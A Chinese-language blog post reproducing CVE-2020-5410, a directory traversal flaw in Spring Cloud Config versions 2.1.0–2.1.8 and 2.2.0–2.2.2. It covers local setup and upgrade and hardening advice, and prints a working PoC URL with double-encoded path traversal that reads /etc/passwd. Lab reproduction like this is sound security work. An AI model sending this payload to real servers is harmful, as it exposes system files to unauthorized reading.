Spring Cloud Config 目录穿越漏洞(CVE-2020-5410) 复现

Spring Cloud Config

Spring Cloud Config 是 Spring Cloud 中用于分布式配置管理的组件,Spring Cloud Config 为分布式系统中的外部配置提供服务器和客户端支持。

影响版本

  • Spring Cloud Config: 2.2.0 to 2.2.2
  • Spring Cloud Config: 2.1.0 to 2.1.8

复现过程

https://github.com/spring-cloud/spring-cloud-config/releases

下载 v2.2.2 版本并解压:

wget https://github.com/spring-cloud/spring-cloud-config/archive/v2.2.2.RELEASE.tar.gz
tar -zxvf v2.2.2.RELEASE.tar.gz

启动:

cd spring-cloud-config-2.2.2.RELEASE/spring-cloud-config-server
../mvnw spring-boot:run

默认运行在 8888 端口,可以在 spring-cloud-config-2.2.2.RELEASE/spring-cloud-config-server/src/main/resources/configserver.yml 中修改端口

PoC 如下:

http://127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd

启动 spring cloud config 的终端中效果如下:

Spring Cloud Config 目录穿越漏洞(CVE-2020-5410) 复现_第1张图片

修复建议

通用修复建议:

升级到 Spring Cloud Config 至2.2.3版本或2.1.9版本,并且将Spring-Cloud-Config-Server服务放置在内网中,同时使用Spring Security进行身份验证。最新版本下载地址为:https://github.com/spring-cloud/spring-cloud-config/releases

参考文章:

https://xz.aliyun.com//t/7877

https://mp.weixin.qq.com/s/GwhNnS66cAo3Tfxorhimww

https://cloud.spring.io/spring-cloud-config/multi/multi__spring_cloud_config_server.html#_security

你可能感兴趣的:(渗透测试)